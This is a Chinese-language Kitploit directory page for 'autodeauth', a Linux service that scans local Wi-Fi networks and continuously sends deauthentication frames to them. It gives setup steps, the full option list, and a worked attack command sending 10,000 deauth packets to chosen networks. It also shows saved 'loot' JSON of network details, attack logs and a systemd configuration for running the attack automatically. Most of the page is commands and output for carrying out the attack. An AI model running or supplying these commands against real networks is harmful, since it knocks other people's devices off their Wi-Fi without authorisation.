Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
autodeauth — 自动化Linux服务,用于收集本地Wi-Fi网络信息并执行去认证攻击。 | Kitploit
工具/GitHubGitHub/drew-alleman/autodeauth
Wi-Fi审计网络映射信息收集无线安全
GitHubdrew-alleman/autodeauth

autodeauth

自动化Linux服务,用于收集本地Wi-Fi网络信息并执行去认证攻击。

查看仓库
6943年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

autodeauth

一个自动解除本地网络认证的工具/服务

  • 已在 Raspberry Pi OS 和 Kali Linux 上测试

安装

root@kitploit:~
$ chmod +x setup.sh
$ sudo ./setup.sh

[*] 可通过编辑 /etc/systemd/system/autodeauth.service 修改此项
[?] 输入用于 autodeauth 服务的 WiFi 接口:wlan0 
[*] 安装完成!你可以使用 sudo autodeauth -h 查看可用选项。
[*] 查看 README 获取关于配置/启动服务的更多信息

选项

root@kitploit:~
$ sudo autodeauth -h
        _       _       ___                _   _    
       /_\ _  _| |_ ___|   \ ___ __ _ _  _| |_| |_  
      / _ \ || |  _/ _ \ |) / -_) _` | || |  _| ' \ 
     /_/ \_\_,_|\__\___/___/\___\__,_|\_,_|\__|_||_|

用法:autodeauth [-h] --interface INTERFACE [--blacklist BLACKLIST] [--whitelist WHITELIST] [--led LED] [--time TIME] [--random] [--ignore] [--count COUNT] [--verbose VERBOSE]

自动解除认证工具

选项:
  -h, --help            显示此帮助信息并退出
  --interface INTERFACE, -i INTERFACE
                        用于获取 WiFi 网络并发送解除认证数据包的接口(必须支持数据包注入)
  --blacklist BLACKLIST, -b BLACKLIST
                        要避免的网络 SSID/MAC 地址列表(逗号分隔)
  --whitelist WHITELIST, -w WHITELIST
                        要攻击的网络 SSID/MAC 地址列表(逗号分隔)
  --led LED, -l LED     用于 LED 显示的引脚编号
  --time TIME, -t TIME  两个解除认证数据包之间的时间间隔(秒),默认 0
  --random, -r          在解除每个网络认证之前随机化你的 MAC 地址
  --ignore              忽略随机化 MAC 地址时遇到的错误
  --count COUNT, -c COUNT
                        要发送的数据包数量(默认 5000)
  --verbose VERBOSE, -v VERBOSE
                        Scapy 的详细程度设置(默认:0)
                                                    

使用方法

运行安装后,你可以在任何目录下使用 autodeauth 来运行脚本

命令行

包含空格的网络可以使用它们的 MAC 地址来表示

root@kitploit:~
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,E1:DB:12:2F:C1:57 -c 10000

服务

root@kitploit:~
$ sudo systemctl start autodeauth

战利品与日志文件

战利品

当检测到符合白名单/黑名单条件的网络时,其网络信息会以 JSON 文件的形式保存到 /var/log/autodeauth/ 目录下

root@kitploit:~
{
    "ssid": "MyWiFiNetwork",
    "mac_address": "10:0B:21:2E:C1:11",
    "channel": 1,
    "network.frequency": "2.412 GHz",
    "mode": "Master",
    "bitrates": [
        "6 Mb/s",
        "9 Mb/s",
        "12 Mb/s",
        "18 Mb/s",
        "24 Mb/s",
        "36 Mb/s",
        "48 Mb/s",
        "54 Mb/s"
    ],
    "encryption_type": "wpa2",
    "encrypted": true,
    "quality": "70/70",
    "signal": -35
} 

日志文件

root@kitploit:~
$ cat /var/log/autodeauth/log               
2022-08-20 21:01:31 - 正在扫描本地网络
2022-08-20 21:20:29 - 向网络 A0:63:91:D5:B8:76 -- MyWiFiNetwork 发送 5000 个解除认证帧
2022-08-20 21:21:00 - 退出/清理中

编辑服务配置

要更改 autodeauth 服务的设置,请编辑文件 /etc/systemd/system/autodeauth.service
假设你想要将以下配置设置为服务

root@kitploit:~
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000
root@kitploit:~
$ vim /etc/systemd/system/autodeauth.service

然后你需要将 ExecStart 行修改为

root@kitploit:~
ExecStart=/usr/bin/python3 /usr/local/bin/autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000
下载工具